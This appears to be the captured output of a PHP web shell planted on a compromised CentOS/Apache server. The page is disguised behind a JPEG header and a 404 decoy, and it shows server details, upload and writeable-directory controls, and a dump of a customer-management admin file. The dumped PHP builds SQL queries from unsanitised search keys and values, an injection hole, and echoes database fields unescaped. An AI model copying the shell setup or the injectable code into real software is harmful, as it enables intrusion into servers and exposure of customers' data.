����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/admin.adimi/code/management/customer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/admin.adimi/code/management/customer/list.php
<?php
$txt_all = '';
$where = " WHERE customer_id>0 AND user_post='".$ob_user->user_name."' AND customer_status NOT IN ('ngung_cong_no') ";
if(is_admin()){
    $where = " WHERE customer_id>0 AND customer_status NOT IN ('ngung_cong_no') ";
}
$s = array();
$param_search = '';
if(isset($CORE->input['s'])){
    $s = $CORE->input['s'];
    foreach ($s as $key=>$val){
        if(trim($val)!='') {
            $where .=  " AND ".$key." LIKE '%".$val."%' ";
            $param_search .= '&s[' . $key . ']=' . $val;
        }
    }
}

$pageNum = isset($_GET['pageNum']) ? intval($_GET['pageNum']) : 1;
$pageSize = 50;
$from = (($pageNum * $pageSize) - $pageSize);

$t = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_customer ".$where));

$total = $t['total'];
$totalPage = ceil($total / $pageSize);
$q_customer = $DB->query("SELECT * FROM tb_customer ".$where." ORDER BY time_update DESC LIMIT  $from,$pageSize ");
$txt_list=$txt_list_nhatky='';
while ($r_customer = $DB->fetch_row($q_customer)){

    $txt_nhat_ky = '';
    $arr_nhat_ky = array();
    if($r_customer['customer_nhatky']!='') {

        $arr_nhat_ky = explode('@',$r_customer['customer_nhatky']);
        if(!empty($arr_nhat_ky)) {
            foreach ($arr_nhat_ky as $key => $val) {
                if (isset($arr_nhatky_fix[$val]) and $arr_nhatky_fix[$val] != '') {
                    $txt_nhat_ky .= '- ' . $arr_nhatky_fix[$val] . '<br/>';
                }
                if ($val == 'e') {
                    $txt_nhat_ky .= ' : ' . $arr_nhat_ky[count($arr_nhat_ky) - 1];
                }
            }
        }
    }

    $txt_service = '';
    $q_service = $DB->query("SELECT * FROM tb_service WHERE customer_id='".$r_customer['customer_id']."' ");
    while ($r_service = $DB->fetch_row($q_service)){
        $txt_service .= '<a href="?act=management&code=service&s[service_cat]='.$r_service['service_cat'].'">'.$arr_service[$r_service['service_cat']].'</a>,';
    }
    $txt_list .= '<tr><td>'.$r_customer['customer_id'].'</td><td><a href="?act=management&code=customer&type=post&id='.$r_customer['customer_id'].'">'.$r_customer['customer_fullname'].'</a></td><td>'.$r_customer['customer_company'].'</td><td>'.$r_customer['customer_mobile'].'</td><td>'.$r_customer['customer_email'].'</td>

<td id="nhat_ky_res_'.$r_customer['customer_id'].'">
        <b>'.$txt_nhat_ky.'</b>
    '.$func->ope_max(strip_tags(html_entity_decode($r_customer['customer_nhatky_note'])),50).'
    <a data-toggle="modal" data-target=".bd-example-modal-lg-'.$r_customer['customer_id'].'" href="javascript:void(0);"><i class="fas fa-edit"></i> Edit</a>
        </td>

<td>'.$txt_service.'</td><td>
<span class="badge badge bg-info"><a href="?act=management&code=customer&type=baogia&customer_id='.$r_customer['customer_id'].'">Soạn báo giá</a></span>
<span class="badge badge bg-success"><a href="?act=management&code=service&type=list&s[customer_id]='.$r_customer['customer_id'].'">Dịch vụ</a></span> <span class="badge bg-warning"><a href="?act=management&code=customer&type=post&id='.$r_customer['customer_id'].'">Cập nhật</a></span> <span class="badge bg-danger"><a href="?act=management&code=customer&type=delete&id='.$r_customer['customer_id'].'" onclick="return confirm(\'Bạn có chắc muốn xóa?\')">Xóa</a></span></td></tr>';


    $txt_list_check_nhatky = '';
    $txt_nhatky = $r_customer['customer_nhatky'];
    $last_id = '';
    foreach ($arr_nhatky_fix as $key => $val) {
        if ($key == 'e') {
            $last_id = 'id="nkhac_'.$r_customer['customer_id'].'"';
        }
        if (strpos($txt_nhatky, $key.'@') !== false or strpos($txt_nhatky, '@'.$key) !== false) {
            $txt_list_check_nhatky .= '<input name="nhatky_hoso[]" type="checkbox" value="' . $key . '" checked ' . $last_id . '> ' . $val . '<br>';
        } else {
            $txt_list_check_nhatky .= '<input name="nhatky_hoso[]" type="checkbox" value="' . $key . '" ' . $last_id . '> ' . $val . '<br>';
        }

    }
    if (strpos($txt_nhatky, '@e') !== false or strpos($txt_nhatky, 'e@') !== false) {
        $txt_list_check_nhatky .= '<span id="nhatky_khac_'.$r_customer['customer_id'].'"><input type="text" value="' . $arr_nhat_ky[count($arr_nhat_ky) - 1] . '" name="nhatky_hoso[]" class="form-control"></span>';
    } else {
        $txt_list_check_nhatky .= '<span id="nhatky_khac_'.$r_customer['customer_id'].'" style="display: none;"><input type="text" value="" name="nhatky_hoso[]" class="form-control"></span>';
    }

    $txt_list_nhatky .= '<div class="modal fade bd-example-modal-lg-'.$r_customer['customer_id'].'" tabindex="-1" role="dialog" aria-labelledby="myLargeModalLabel" aria-hidden="true">
  <div class="modal-dialog modal-lg">
    <div class="modal-content">
        <div class="modal-header">
        <h5 class="modal-title" id="exampleModalLabel">Nhật ký tư vấn khách hàng '.$r_customer['customer_fullname'].' - ID: #'.$r_customer['customer_id'].'</h5>
        <button type="button" class="close" data-dismiss="modal" aria-label="Close">
          <span aria-hidden="true">&times;</span>
        </button>
      </div>
      <div class="modal-body">
        <form id="form_nhatky_'.$r_customer['customer_id'].'">
        <input type="hidden" value="'.$r_customer['customer_id'].'" name="customer_id">
          <div class="form-group">
            '.$txt_list_check_nhatky.'
          </div>
          <div class="form-group">
            <label class="col-form-label">Ghi chú các lần tư vấn: </label>
            <textarea class="summernote2" name="nhatky">'.$r_customer['customer_nhatky_note'].'</textarea>
          </div>
        </form>
      </div>
      <div class="modal-footer">
        <button type="button" class="btn btn-secondary" data-dismiss="modal">Đóng</button>
        <button type="button" class="update_form_nhatky btn btn-primary" value="'.$r_customer['customer_id'].'">Cập nhật</button>
      </div>
    </div>
  </div>
</div>
<script>
$(\'#nkhac_'.$r_customer['customer_id'].'\').click(function(){
            if($(this).prop("checked") == true){
                $(\'#nhatky_khac_'.$r_customer['customer_id'].'\').show();
                $(\'#nhatky_khac_'.$r_customer['customer_id'].'\').focus();
            }
            else if($(this).prop("checked") == false){
                $(\'#nhatky_khac_'.$r_customer['customer_id'].'\').hide();
            }
        });
</script>
';
}
$nav = $print->Pagination($totalPage,$pageNum,'menu','index.php?act=management&code=customer&'.$param_search);
?>

ZeroDay Forums Mini